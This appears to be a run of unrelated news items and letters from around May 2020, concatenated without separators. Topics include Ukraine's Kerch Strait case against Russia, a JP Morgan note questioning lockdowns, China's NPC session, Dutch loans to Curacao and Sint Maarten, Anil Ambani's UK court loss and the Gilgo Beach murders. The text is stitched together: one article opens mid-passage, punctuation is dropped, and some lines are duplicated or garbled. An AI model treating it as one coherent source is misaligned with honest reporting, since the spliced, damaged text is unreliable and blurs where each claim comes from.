"Through political negotiations and President Volodymyr Zelensky's personal involvement, we eventually managed to have both sailors and ships released. The ships were returned in a terrible condition, they fell victim to deliberate looting and required serious repair efforts," he said.

"We do not want revenge  we want justice. I, as the Minister of Foreign Affairs, together with the team of the government, the Office of the President, our legal advisers, the Prosecutor General's Office, every agency that is involved in this process  we want justice. And we will be seeking this justice by all means available to us. Of course, the International Tribunal for the Law of the Sea is one of such tools. Russia must be held accountable for the violation of the UN Convention on the Law of the Sea, for keeping our sailors in prison for nine months and our ships for 11 months," Kuleba said.

Read alsoUkraine-Russia prisoner swap: Official list of freed Ukrainians

Deputy Foreign Minister Yevhen Enin, who acts as the agent of Ukraine in cases against the Russian Federation in the UN International Court of Justice and the UNCLOS Arbitral tribunal, signed the memorial during the online briefing on May 22.

"Everything is official now  the document will be sent to the right address. We are entering a new phase of struggling for justice and countering Russian aggression in international courts," Kuleba said.

The final decision on the case is expected to be announced in 2022-2023, Enin said on Facebook on May 22.

UNIAN memo. On the morning of November 25, 2018, Russia blocked the passage to the Kerch Strait for the Ukrainian tugboat "Yany Kapu" and two armored naval boats "Berdyansk" and "Nikopol," which were on a scheduled re-deployment from the Black Sea port of Odesa to the Azov Sea port of Mariupol. All 24 crew members on board were captured and charged with "illegal border crossing" under Part 3 of Article 322 of the Criminal Code of Russia (imprisonment for up to six years). Later the Ukrainian sailors were freed and returned to Ukraine in a major prisoner swap between Ukraine and Russia on September 7, 2019.

On November 20, the naval boats arrived at the Ukrainian port of Ochakiv.

Ukrainian Navy Commander, Admiral Ihor Voronchenko said the Russians had dismantled some communications and navigation equipment from the seized ships.
I don't know, is it me?

I'm a senior on a fixed income and not getting much help thru this virus from any outside source. Now all the businesses are saying they are going to add a COVID fee to their service up to $7.50.

That is restaurants, hairdressers, any type of service oriented business. So at the end of a month ppl like us are going to have to put out up to $200 in extra costs. I'm sure this was hard on businesses to be shut down like that but they are getting help from the federal and provincial governments with subsidies, grants, loans etc.  what are us seniors getting?

A small one time token which will be used up rather quickly at this rate. So the average guy on the street is being penalized because businesses want to increase their own bottom lines faster. How do we improve our bottom lines. I'm not impressed and I will boycott any business that charges me this fee.

What happened to "we're all in this together". That doesn't mean that the "little people" have to take the brunt of it. It's not like we aren't taxed enough as it is, this is not in most of our budgets either. I have no trouble buying and dealing locally but I won't pay extra from my grocery money to fund your come back.

Gloria Bayne, Lake Country
DUBLIN, May 22, 2020 /PRNewswire/ -- The "Ireland Data Center Market - Investment Analysis and Growth Opportunities 2020-2025" report has been added to ResearchAndMarkets.com's offering.

In-depth Analysis and Data-driven Insights on the Impact of COVID-19 Included in this Ireland Data Center Market Report



Ireland data center market to grow at a CAGR of over 6% during the period 2020-2025



The Ireland data center market comprises over 35 operational colocation facilities. As colocation have started gaining traction in the last 3-5 years, hyperscale services have been dominating in Ireland. The Increasing hyperscale investments will boost ODM server revenue in the market. Mission critical and high performance server systems are likely to grow owing to the implementation IoT related technology.



The market share of AI-based servers in Ireland has witnessed a 1015% increase in growth in the last few years. The increase in OPEX is expected to shift the focus to lithium-ion UPS systems during the forecast period. Facebook install 48VDC powered UPS systems as their adoption in data centers prevent a 510% power loss during electricity conversions.



This report considers the present scenario of the data center construction market in Ireland. Offers market dynamics for the forecast period 2020-2025. It covers a detailed overview of several growth enablers, restraints, and trends in the market. The study includes the demand and supply aspect of the data center market.



Key Deliverables



An assessment of the data center investment in the market by colocation, hyperscale, and enterprise data center operators

Exhaustive insights of the impact of the COVID-19 on the market

Investments in terms of area (square feet) and power capacity (MW) in major cities in the country

Data center Colocation market in Ireland

Retail & Wholesale Colocation Pricing in Ireland

A detailed study of the existing competitive landscape. An in-depth industry analysis and insightful predictions about the size of the Ireland data center market

data center market Segmentation of the data center market in Ireland into multiple segments and sub-segments with market sizing and forecast

into multiple segments and sub-segments with market sizing and forecast A comprehensive analysis of the latest market trends and potential opportunities. Offers growth restraints and future market prospects for the market

Presence of prominent investors, construction contractors, and infrastructure key players

A transparent market research methodology and the analysis of the demand and supply aspect of the market

Key Highlights



The adoption of cloud computing services in Ireland has experienced a considerable growth in data volumes. Irish businesses are expected to witness a surge of over 70% in data consumption in next 3-4 years.

has experienced a considerable growth in data volumes. Irish businesses are expected to witness a surge of over 70% in data consumption in next 3-4 years. The growing demand for hyperscale facilities is boosting investments in submarine cable deployment projects in Ireland .

. Dublin has emerged as a cloud computing hub. Witnessed the presence of major cloud providers such as Amazon Web Services, Microsoft, Google and IBM.

has emerged as a cloud computing hub. Witnessed the presence of major cloud providers such as Amazon Web Services, Microsoft, Google and IBM. The availability of favorable government support in terms of schemes is driving data center construction in Ireland .

. The implementation of the General Data Protection Regulation (GDPR) has driven data traffic in Ireland .

. Ireland aims to generate 16% of energy through renewable energy sources by 2020, which is likely to reach 55% by 2030.

Report Coverage



This report offers a descriptive analysis of the Ireland data center investments in terms of infrastructure and geography. It discusses market sizing and estimation for different segments with respect to the investment in data centers. The segmentation includes:

Infrastructure Type

IT Infrastructure

Electrical Infrastructure

Mechanical Infrastructure

IT Infrastructure

Server

Storage

Network

Electrical Infrastructure

Uninterruptible Power Supply (UPS)

Generator Market

Transfer Switches and Switchgear

Other Electrical Infrastructure

Mechanical Infrastructure

Cooling Systems

CRAC & CRAH Units

Chiller Units

Cooling Towers & Dry Coolers

Economizers & Evaporative Coolers

Other Units

Racks

Other Mechanical Infrastructure

General Construction

Building Development

Installation & Commissioning Services

Building Design

Physical Security

DCIM

Tier Segments

Tier I & Tier II

Tier III

Tier IV

Geography

Dublin

Other Cities

Key Market Participants



Data Center IT Infrastructure Providers

Arista

Atos

Broadcom

Cisco

Dell Technologies

Hewlett Packard Enterprise

Huawei

IBM

Lenovo

NetApp

Construction Contractors

Arup

Bouygues

Bruceshaw

Builders SKS Contractors

Callaghan Engineering

Designer Group

Future-tech

ISG Plc

Kirby Engineering & Constructions

KMCS

M+W Group

Mace Group

Mercury

PM Group

Winthrop Engineering

Support Infrastructure Providers

ABB

Caterpillar

Cummins

Eaton

Hitec Power Constructions

KINOLT (Euro-Diesel)

Kohler SDMO

Legrand

MTU On Site Energy

Rittal

Schneider Electric

Socomec

STULZ

Trane

Vertiv

Investors

Amazon Web Services

CyrusOne

Digital Realty

Echelon Data Centers

Edge Connex

Facebook

Google

JCD

Nautilus

Office Of Public Works (OPW)

T5 Data Centers

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The drive-in is back and ready for cars full of moviegoers.

Massachusetts Gov. Charlie Baker gave the green light on Monday for drive-ins to reopen. And customers are eager to return.

Within hours after tickets went on sale at the Mendon Twin Drive-In, located southwest of Boston, for its midnight madness shows, tickets were sold out, WBUR reports.

The shows, Jurassic Park and Rocky Horror Picture Show, will begin 12:01 a.m. on Monday, May 25, wasting no time from when the restriction to show drive-in movies lifts.

For other regional drive-ins, opening day remains less certain at the moment.

Management of the Northfield Drive-In shared on Friday that renovations are underway at the outdoor movie theater we are preparing to open with all the precautionary measures for COIVD in place.

The Northfield Drive-In - located at the Massachusetts-New Hampshire state line - hopes to reopen the first or second weekend of June.

The Leicester Drive-In has not publicly announced an opening date, and the Wellfleet Drive-In has had to switch to online advance ticketing after being cash-only since 1957, WBUR reported.

Well be ready to go in a couple of weeks, John Vincent told the news organization.

Those without tickets to the first showing can still get tickets to shows later in the week. Mendon Twin Drive-In will be showing Onward, The Call of the Wild, The Invisible Man, and The Hunt.

Related Content:
Coronavirus lockdowns have 'destroyed millions of livelihoods' but failed to alter the course of the pandemic given many US states have seen lower infection rates after easing restrictions, a JP Morgan study has claimed.

The statistical analysis has raised questions about the effectiveness of the lockdowns put in place across much of the United States two months ago to stop the spread of COVID-19.

It suggests that the lockdown measures have not only resulted in economic devastation but could have also resulted in more COVID-19 deaths.

The strict stay-at-home measures put in place by the governors of most states in mid-March has so far seen nearly 39 million American lose their jobs and forced businesses to close.

There are now more than 1.6 million infections in the US and over 95,000 deaths.

'Unlike rigorous testing of potential new drugs, lockdowns were administered with little consideration that they might not only cause economic devastation but potentially more deaths than COVID-19 itself,' author Marko Kolanovic, a trained physicist and a strategist for JP Morgan, said.

The JP Morgan report says that restarting the US economy may not lead to a second surge in infections that health experts have feared given the falling infections rates seen since lockdown measures were lifted in parts of the country

The report also includes a chart showing that 'the vast majority of countries had decreased infection rates' after lockdowns were lifted. The chart, however, doesn't specify which country is which

The JP Morgan report says that restarting the US economy may not lead to a second surge in infections that health experts have feared given the falling infections rates seen since lockdown measures were lifted in parts of the country.

Almost all states have seen lower infection reproduction rates (R rates) after lockdown measures were lifted, according to the report.

Meanwhile, Nevada, Rhode Island, Texas, North Dakota and Pennsylvannia are the states where infection rates increased after lockdowns ended, according to the report.

Infection rates have continued to decline even once a lag period for new infections to become visible is factored in, according to the report.

A chart included in the report shows that many US states have seen a lower rate of transmission (R rate) after full-scale lockdowns were ended.

The R rate is the average number of people who will become infected by one person with the virus. Researchers and health experts have said a rate below 1.0 is a key indicator that the spread of the virus has been maintained.

Reproduction rate data from Rt.live on Friday showed that all but two states had lowered the rate of infection.

According to that data, Minnesota's R rate was 1.01 and North Dakota's was at 1.02.

The report also includes a chart showing that 'the vast majority of countries had decreased infection rates' after lockdowns were lifted. The chart, however, doesn't specify which country is which.

Reproduction rate data from Rt.live (pictured above) on Friday showed that all but two states had lowered the rate of infection. According to that data, Minnesota's R rate was 1.01 and North Dakota's was at 1.02

All 50 states have at least partially reopened this week by relaxing restrictions on businesses and social distancing in varying degrees across the country.

Kolanovic said governments had been spooked by 'flawed scientific papers' into imposing lockdowns that were 'inefficient or late' and had little effect.

'While we often hear that lockdowns are driven by scientific models, and that there is an exact relationship between the level of economic activity and the spread of [the] virus - this is not supported by the data,' the report says.

'Indeed, virtually everywhere infection rates have declined after re-opening even after allowing for an appropriate measurement lag.

'This means that the pandemic and COVID-19 likely have (their) own dynamics unrelated to often inconsistent lockdown measures that were being implemented.'

Those dynamics may be influenced by increased hand-washing and even weather patterns but seemingly not by full-scale lockdowns, the report suggests.

'The fact that re-opening did not change the course of the pandemic is consistent with studies showing that initiation of full lockdowns did not alter the course of the pandemic either,' it says.

The JP Morgan analysis linked the decision to impose lockdowns to 'flawed scientific papers' predicting millions of deaths in the West.

'This on its own was odd, given that in China there were only several thousand deaths, and the mortality rate outside of Wuhan was very low,' the report says.

'In the absence of conclusive data, these lockdowns were justified initially. Nonetheless, many of these efforts were inefficient or late.'

All 50 states have at least partially reopened this week by relaxing restrictions on businesses and social distancing in varying degrees across the country

Kolanovic says that lockdowns had remained in place even as 'our knowledge of the virus and lack of effectiveness of total lockdowns evolved'.

'Despite the conditions for re-opening being mostly met across the US, it is not yet happening in the largest economic regions for example California and New York,' he said.

'While our knowledge of the virus and lack of effectiveness of total lockdowns evolved, lockdowns remained in place and focus shifted to contact tracing, contemplating second wave of outbreaks and ideas about designing better education, political and economic systems.

'At the same time, millions of livelihoods were being destroyed by these lockdowns.'

The US and other countries in lockdown are having to blow huge holes in their budgets to counter the economic standstill that is forcing millions of people into unemployment.

The report cites 'worrying populism' as an obstacle to re-opening the economy, for example in the US where senators passed an anti-China measure this week.

It warns that economic activity in the US is 'now largely following partisan lines' as Republican and Democratic governors adopt different strategies for their states.

As well as casting doubt on the wisdom of imposing lockdowns in the first place, the report suggests that economies could now be re-opened more quickly.

In other parts of the world, Denmark is among the countries that has started re-opening its economy without seeing a new surge in virus cases.

Americans across the country have protested the strict lockdowns. Pictured above are protesters in Lansing, Michigan

People walk along a street closed to vehicle traffic as the city expands areas for pedestrians to walk and to keep a recommended safe distance in New York City

Zoos, museums and cinemas have re-opened early in Denmark with many children now back at school after scientists said the R rate had continued to fall.

Germany has also been confident enough to scale back the lockdown after the R rate mostly stayed below 1.0 following an initial lifting of restrictions.

However, chancellor Angela Merkel has repeatedly urged caution and warned that a second wave of virus cases could leave hospitals overwhelmed.

The UK government has similarly warned that some restrictions could be re-imposed if there is a 'sudden and concerning' rise in new cases.

Sweden has never imposed a lockdown, and its per-capita death rate is better than Britain's - although worse than that of its Scandinavian neighbours.

The World Health Organisation has urged 'extreme vigilance' about lifing lockdowns, saying there is 'always the risk that the virus takes off again'.

WHO chief Tedros Adhanom Ghebreyesus said that some countries such as Germany and South Korea had systems in place to respond to a new surge.

Tedros said that a 'comprehensive package of measures' is needed until a vaccine becomes available, which is likely to be many months away at least.

It is not yet fully clear how many people have been infected or to what extent they are now immune, but most people remain susceptible.
The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Yao Dawei]

BEIJING, May 22 (Xinhua)  China's national legislature started its annual session Friday morning in Beijing.

Xi Jinping and other Chinese leaders attended the opening meeting of the third session of the 13th National People's Congress, held at the Great Hall of the People.

Attendees at the meeting paid a silent tribute to martyrs who died fighting COVID-19 and compatriots who lost their lives in the epidemic.

After the mourning, Premier Li Keqiang delivered a government work report on behalf of the State Council to the legislature for deliberation.

Chinese Premier Li Keqiang delivers a government work report at the opening meeting of the third session of the 13th National People's Congress at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Shen Hong]

Li Zhanshu presides over the opening meeting of the third session of the 13th National People's Congress at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Shen Hong]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Wang Yuguo]

Attendees pay a silent tribute to martyrs who died fighting COVID-19 and compatriots who lost their lives in the epidemic during the opening meeting of the third session of the 13th National People's Congress in Beijing, capital of China, May 22, 2020. [Xinhua/Rao Aimin]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Huang Jingwen]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Xie Huanchi]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Ju Peng]

Members of the National Committee of the Chinese People's Political Consultative Conference (CPPCC) sit in on the opening meeting of the third session of the 13th National People's Congress (NPC) as non-voting participants at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Liu Weibing]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Shen Hong]

Photographers work at the opening meeting of the third session of the 13th National People's Congress in Beijing, capital of China, May 22, 2020. [Xinhua/Liu Jinhai]

The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. [Xinhua/Liu Jinhai]

Deputies to the 13th National People's Congress (NPC) walk towards the Great Hall of the People for the opening meeting of the third session of the 13th NPC in Beijing, capital of China, May 22, 2020. China's national legislature started its annual session Friday morning in Beijing. [Xinhua/Li Xin]

Deputies to the 13th National People's Congress (NPC) walk towards the Great Hall of the People for the opening meeting of the third session of the 13th NPC in Beijing, capital of China, May 22, 2020. China's national legislature started its annual session Friday morning in Beijing. [Xinhua/Li Xin]

(Source: Xinhua)
S Lalitha By

Express News Service

BENGALURU: The running of migrant special trains and a gradual exodus of the labour force from Bengaluru are set to severely impact the ongoing Phase -II Metro project.

Workers from UP, MP, Jharkhand, Assam, West Bengal and Odisha dominate the Namma Metro workforce. One-fourth of it is on its way out and more are expected to leave on migrant trains.

Bangalore Metro Rail Corporation Limited Managing Director Ajay Seth told TNIE that BMRCL employs over 6,500 workers.

While 850 workers have already left, another 1,250 are waiting to leave. They are not coming to work.

He also said that around 75% are willing to stay back and report to work.

Asked about the effect of the exodus, he said, Its too early to judge the impact on our projects.

The first two Metro lines, which had deadlines of August 15 and November 1 this year, are not on course.

We are hopeful of commissioning the Mysuru Road and Kanakapura Road extension lines in 2020, Seth added.

Meanwhile, boring of tunnels on the underground stretch between Nagawara and Gottigere has not taken off.

Four TBMs were transported from China. One of them is being assembled near Shivajinagar Metro Station, while another is yet to get assembled, an official said.

Those who can handle TBMs are specialised staff.

Some of them have left and we may have to wait for them to return, or the contractor will have to rope in other workers. It has hit our work, he said.

Work picked up for a week after April 23, when the State allowed construction work to go on. It was stopped later.

Only a few wanted to leave initially, but soon there was an exodus. Everything is set for massive delays, another official said. Chief Engineer (Projects) B L Yashavanth Chavan said it was not possible to commit to any deadline as of now.

Some delay can be expected, he said.
The HAGUE:--- On Wednesday, during the Legislative Consultation on the Amendment of the Budgetary Statement of Kingdom Relations (IV) for 2020, you discussed the incidental supplementary budget for liquidity support in Aruba, Curacao and Sint Maarten (TK-

35443) expressed your support for the line that the government has deployed in the financial support of the Caribbean countries in the Kingdom. During that debate, it was known that Aruba had approved the Netherlands' proposal for additional liquidity support for the country for the period 15 May to 30 June 2020 to the country including the associated conditions. The Governments of Curacao and of Sint Maarten have confirmed in writing at my request after the debate that their letters received by me during the debate should be read as an unconditional agreement with the proposal contained in the RMR of 15 May 2020. This means that a second tranche of liquidity support will be provided to Curacao and Sint Maarten.

Curacao Curacao will receive an interest-free loan totaling ANG 204 million ( 104.7 million) for the period May 15 to June 30, 2020. Just as for Aruba, the amount required for the implementation of the wage subsidy scheme (ANG 63 million) will only be made available if Curacao has adequately implemented a personal contribution from employees within this scheme. The other ANG 141 million will be made available to Curacao immediately. Furthermore, a number of conditions that apply to the financial sector apply specifically to Curacao. Curacao and the Central Bank of Curacao and Sint Maarten (CBCS) must provide De Nederlandsche Bank (DNB) with insight into the situation in the financial sector in general. Curacao is requested to provide insight into potential losses and where they will fall, to provide information about the intended solutions for tackling problem institutions and to allow the CBCS board to consist of at least three directors who are all subject to the highest 'fit' & clean 'standards. The appointment will be made in consultation with DNB. St Martin Sint Maarten will receive an interest-free loan totaling ANG 53 million ( 27.2 million) for the period May 15 to June 30, 2020. ANG 24 million will be made available to Sint Maarten immediately. The other ANG 29 million relating to the wage subsidy scheme will be made available after Sint Maarten has adequately implemented the requested personal contribution from employees. Sint Maarten must also make adjustments to the graduated scale for the wage subsidy scheme, because the scheme in the form proposed by Sint Maarten leads to unequal treatment of companies. Sint Maarten has previously been requested to also cover the proposed aid package within its own budget. However, the government of Sint Maarten has not yet implemented this. Therefore, the RMR has repeated this request. Plans for savings must be submitted to the Cft by 22 May 2020.

Furthermore, the RMR has requested Sint Maarten to increase the retirement age (AOV age) from 62 to 65 years of age (for persons born after 1959) on 1 July. While Aruba and Curacao have taken steps to raise the retirement age to 65 years ago and in the Netherlands this age is even higher, Sint Maarten is lagging behind. A bill for raising the retirement age has been before the States of Sint Maarten for several years, but has not yet been approved. Now that savings are needed, this really needs to change. Generic conditions with regard to the employment conditions Like both Aruba, conditions have been set for both countries with regard to a reduction of the employment conditions package in the (semi) public sector. This was decided because of the high budgetary pressure on the personnel costs of the public and semi-public sector of the countries and in the context of solidarity with employees outside the (semi) public sector. Specifically, this concerns a reduction until further notice of 25% on the total package of terms and conditions of employment of States members and Ministers, and a reduction of 12.5% of the total benefits package of all employees in the (semi) public sector. Of course, the minimum monthly wage applies as a lower limit for the gross monthly salary. Curacao and Sint Maarten must also reduce the employment conditions of top officials in the (semi) public sector to a maximum of 130% of the new standardized salary of the Prime Minister of the country concerned. In principle, this measure also applies to existing employment contracts and has an equal effect on the rates for consultants. Follow-up process and additional support The proposed support enables Curacao and / or Sint Maarten to continue until the end of June Continue to function by 2020. In early July, the RMR speaks of liquidity support for the period from July. Then it will also be checked whether the conditions now set are met. The outcome will be included in the decision-making on further aid.

Supplementary loans will not be given directly to the government from July but will go through an entity that is yet to be established. In this way, the Netherlands can focus on results. After all, as I announced earlier, these loans will be made dependent on a package of measures aimed at structural reforms. Agreements will also be made about this in early July. These agreements will be discussed with countries willing to do so in the near future, with the C (A) ft continuing to play an important role. The conversation in the coming period is not without obligation. Further support is contingent on concrete commitments and achievements on structural reforms that enhance countries' resilience and earning potential, for both current and future generations. This approach was explained on 12 May by Prime Minister Rutte in consultation with the Prime Ministers of Aruba, Curacao, and Sint Maarten and discussed with your House on 20 May.

Finally

The budgetary consequences of the second tranche of liquidity support are presented to you in a supplementary budget law. Normally, new policies are put into effect after the States-General has authorized the fiscal law. Since the postponement of the implementation of this urgent measure that is in the interest of the State cannot wait for formal authorization by both Houses of the States-General, the Cabinet will implement the

start measure. This acts in accordance with paragraph 2 of Article 2.27 of the Government Accounts Act 2016.

The Secretary of State for the Interior and Kingdom Relations,

drs. R.W. Knops.

Click here to read the official letter sent to the Second Chamber by Raymond Knops.
Montana is about to choose our top two candidates for governor. The presumptive Republican nominee will be Rep. Greg Gianforte, a man who does not believe in science and whose out-of-state roots and extreme wealth isolate him from Montanans values and needs.

There is only one candidate who can defeat Gianforte: Whitney Williams. As the underdog in the governors race, she has outraised Mike Cooney by almost $100,000, a skill set vital to winning in the general election.

The race for governor will get ugly. Gianforte has national leaders who will contribute to his strategy, bringing the worst of D.C. into Montana. Williams is a 6th generation Montanan, with grit that would make Butte proud. She is not afraid of the fight that has already begun with GOP attack ads, which only affirms what her polling shows: She is the candidate to beat.

She will fight for our right to quality health care, especially for our rural hospitals that are more vital now than ever. She is a businesswoman who has worked for economic solutions around the globe by engaging multi-sector solutions with a steady head and a collaborative approach.
Here are todays top news, analysis and opinion. Know all about the latest news and other news updates from Hindustan Times.

Hydroxychloroquine led to higher mortality and heart issues in Covid-19 patients, says a Lancet study

The findings come from one of the largest analyses of the risks and benefits associated with treating coronavirus patients with the above mentioned anti-malarial drugs. It is based on a retrospective analysis of medical records and is not a controlled study. Read more.

Deeply saddened: PM Modi expresses grief over Pakistan plane crash

Prime Minister Narendra Modi on Friday condoled the loss of lives in a plane crash in Pakistan and wished a speedy recovery to those injured. Read more.

After Saudi journalist Jamal Khashoggis sons forgive killers, his fiancee says no one has right

The Turkish fiancee of murdered Saudi journalist Jamal Khashoggi said Friday no one had the right to pardon his murderers after his sons said they forgive the killers. Read more.

Shah Rukh Khan prays for Cyclone Amphans victims: The news has left me feeling hollow

Actor Shah Rukh Khan is devastated by the destruction caused by Cyclone Amphan in the states of West Bengal and Odisha. He shared a tweet on Friday to talk about the same. Read more.

New spying Trojan is targeting diplomatic entities in Europe via spoofed visa applications

In November last year, Kaspersky had discovered a new malware that was attacking diplomatic bodies across Europe through spoofed visa applications. Further analysis revealed that this spyware, Reductor, had the same code base as the infamous COMPFun. Read more.

Eid ul-Fitr 2020: Date and time of moon sighting in India

Eid ul-Fitr is celebrated as the end of the month-long fasting during the holy period of Ramadan or Ramzan when the Muslim community practice Roza (fasting in Islam). Read more.

Cat sets an example for everyone on how to lay your boundaries. Watch

We all may have experienced a few moments wherein we were unable to say what we wanted to. However, if you are learning how to speak your mind confidently, then this feline, who is ready to wrestle a doggo way bigger than itself for stepping into its personal space, is an inspiration. Read more.

IGNOU TEE June 2020: Last date for assignments submission extended further

Indira Gandhi National Open University (IGNOU)has further extended the last date for submission of assignments for the June term-end exam (TEE) 2020. Read more.

Dr Harsh Vardhan takes charge as WHO Executive Board Chairman

Dr. Harsh Vardhan took charge as the Chairman of the WHO executive board. Indias Health Minister thanked all the member nations and expressed condolences to the family members of all those who had succumbed to the Covid-19 pandemic. Dr. Harsh Vardhan also spoke about the Indian govts Ayushman Bharat policy during his address to the WHO. Watch here.
A UK court on Friday directed Reliance Group chairman Anil Ambani to pay nearly USD 717 million to three Chinese banks pursuing the recovery of funds owed to them as part of a loan agreement within 21 days.

At a remotely held hearing, in line with procedures in place for the COVID-19 pandemic, Justice Nigel Teare ruled at the Commercial Division of the High Court of England and Wales in London that a personal guarantee disputed by Ambani is binding on him.

It is declared that the Guarantee is binding on the Defendant (Ambani), Justice Teare's order notes.

It is declared that the sum payable by the Defendant to the Claimant (banks) pursuant to the Guarantee is USD 716,917,681.51, it reads.

A statement related to the judgment has been sought from the Reliance Group.

The banks Industrial and Commercial Bank of China Ltd Mumbai Branch, China Development Bank and Exim Bank of China had taken their claim for a summary judgment to the UK High Court and in February were granted a conditional order, in effect a deposit to be paid into court pending a full trial in the case.

Judge David Waksman, presiding over that hearing on February 7, had set a six-week timeline for the payment of USD 100 million pending a full trial in 2021.

The court order this week vacates a trial date previously set for March 18 next year and also issues a court costs order in favour of the banks, adding a further 750,000 pounds to the overall amount owed.

According to the court order, the nearly USD 717 million to be paid by Ambani comprises of the principal amount outstanding under the Facility Agreement of USD 549,804,650.16; interest outstanding as of May 22 of USD 51,923,451.49; and default interest due of USD 115,189,579.86.

The final amount owed by the Defendant [Ambani] to the Claimant [banks] under the Guarantee shall be assessed subject to the outcome of the RCom Insolvency Action, the court order states, leaving the option open to the banks to revisit the final amount in future.

The reference is to an ongoing State Bank of India (SBI) Insolvency Application in the National Company Law Tribunal (NCLT) in India related to Reliance Communications (RCom), which the Chinese banks' legal team had argued had no bearing on the English Court's ability to proceed to determine their clients' claims.

The Industrial and Commercial Bank of China Ltd Mumbai Branch, on behalf of the three Chinese banks, had sought the summary judgment against Ambani over an alleged breach of a personal guarantee on a debt refinancing loan of around USD 925 million in February 2012.

Ambani denies providing authority for any such guarantee, resulting in the High Court action in the UK the jurisdiction agreed upon as part of the terms of the loan agreement.

At the last hearing in the case in February, Justice Waksman had ruled that he did not accept Ambani's defence that his net worth was nearly zero or that his family would not step in to assist him when push came to shove to cover the conditional order amount of USD 100 million.

The Reliance Group at the time had said the industrialist plans to appeal against the ruling.

The order pertains to an alleged personal liability of Mr Ambani and will have no bearing on the operations of the Reliance Infrastructure Limited, Reliance Power Limited and Reliance Capital Limited, a spokesperson for Anil Ambani had said at the end of the February hearing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Photo: (Photo : Photo by Megapixelstock from Pexels)

Amid the coronavirus pandemic, residents in San Bernardino County and Riverside County can still issue their marriage licenses and perform marriage ceremonies online.

Because of the pandemic, and the restrictions imposed because of it, in-person wedding ceremonies and marriage license applications were shut down when county buildings and offices were closed to the public in March.

In San Bernardino County, the Assessor-Recorder-County Clerk's office is now issuing marriage licenses and performing ceremony services online. On May 11, the clerk's office held the county's first-ever video marriage license and ceremony and is now accepting appointments until June 29.

It was Deputy Recorder Melissa Garcia, who performed the county's first online marriage ceremony on May 11 for Yucca Valley residents, Trent and Crystal Bell.

And on May 18, the Riverside County officials announced that residents can now obtain their marriage licenses and get married in civil wedding ceremonies virtually.

Despite everything, the demands for marriage services stayed at a high level. Hence, proving that indeed, love knows no boundaries.

According to Peter Aldana, Assessor/County Clerk/Recorder of Riverside County, the demand for marriage services remained high throughout this pandemic. However, the traditional models of delivering public service weakened their ability to provide such services safely.

Qualifications for online marriage

In San Bernardino County, the video conference is available to couples seeking marriage licenses and ceremonies only. And to qualify, couples must meet the following criteria:

One of them must be a San Bernardino County resident

Couples must be physically present in California during the session

Couples must be in the same room during the marriage license issuance and ceremony service

Couples must be accessible via Zoom with video and audio connection

Couples and their witnesses must be able to access their e-mails during the session

Witnesses must be able to sign the license and join the ceremony

Guests are allowed to join the conference, but only after paperworks are finished and received by the county; it takes 10 to 20 minutes after appointment

For those who want to make an appointment for an online marriage license and ceremony service, you may call 909-252-5651 or e-mail marriagedesk@arc.sbcounty.gov.

San Bernardino County's marriage services are still available in-person at the clerk's office by the strict appointment-only policy. For in-person appointments, you need to call 909-387-8306.

For Riverside County, online marriage services are also only available to Riverside County residents, or at least one from the couple getting married must live in the county.

For information, you can visit www.asrclkrec.com.

In-person appointments are also available however, on a limited basis only for those couples that have no video conference capabilities.

For in-person appointments, you may call 951-955-6200 or e-mail accrmail@asrclkrec.com.

Although these marriage ceremonies may seem unusual and are far different than the normal and traditional ones, couples are still applying for it. Their determination to be with each other and get married overruled the restrictions that this pandemic brings, although still with safety precautions. After all, love is love; it will always find its way.
Suffolk County Police announced Friday they can identify one of the previously unnamed victims in the Gilgo Beach murders almost two decades after part of her body was first discovered.

Police were not able to confirm when the victim will be named but said it would be in the near future.

The news came four months after police reinvigorated the investigation into the suspected serial killings, releasing images of a belt that was found near the crime scene.

The decomposed remains of the victim, a white female in her 30s, were found in two separate places in Long Island more than a decade apart.

Her naked torso was found in a wooded area of Manorville back in November 2000, with additional remains discovered along Ocean Beach Parkway on April 4, 2011.

The remains of two other victims were found nearby on the same day.

The body of Jane Doe #6 in the Gilgo Beach murder case has been identified, police say, almost two decades since part of her decomposing body was first found in Long Island, New York

Pictured Suffolk County Search Divers in April 2011 after the bodies of at least ten people were found in the area after cops began a search for missing sex worker Shannan Gilbert

The Suffolk County Police Department, together with the FBI, have positively identified Manorville Jane Doe, also referred to as Jane Doe #6, police said in a statement Friday.

The department announced the utilization of DNA techniques earlier this year in our ongoing effort to advance the investigation, it added.

Using this technology, the department has successfully identified Manorville Jane Doe, also referred to as Jane Doe #6, whose remains were located in Manorville in 2000 and Gilgo Beach in 2011.

In total, 11 sets of human remains were found strewn along a highway in Long Island in 2010 and 2011 after police began a hunt for a missing sex worker Shannan Gilbert.

This included Gilbert's remains, whose death police say is not linked.

The unexpected announcement on Friday came after police in January released images of a black leather belt that was found at the crime scene - which they believe was handled by the suspected serial killer.

Cops also created a website specifically for the investigation in a bid to finally solve the cold case for which there have been no arrests.

The first four bodies found were those of women in their 20s who worked as prostitutes, according to police (all pictured). In total, the remains of eight women, one Asian man and one toddler were all found along several miles of parkway in 2010 and 2011

The announcement comes 10 years after a search for Shannan Gilbert (left and right), 24, led to the grisly discovery of 10 sets of human remains. Gilbert, a 24-year-old sex worker, went missing in 2010 several miles from Gilgo Beach after leaving a client's house on foot

Suffolk County Police Commissioner Geraldine Hart announced in January that the belt appears to have embossed initials, WH or HM.

Hart said authorities believe the belt was handled by the suspect and did not belong to any of the Gilgo Beach victims. She did not give a specific location about where the belt was found.

The belt was discovered in the early stages of the investigation but was a previously undisclosed piece of evidence withheld from the public. It's unclear why, but Hart said her team believed 'it was time' to release the information.

Hart didn't say whether DNA from the killer was taken from the belt, but she did then announce that the Suffolk County Police Department is using genetic genealogy in hopes of cracking the case.

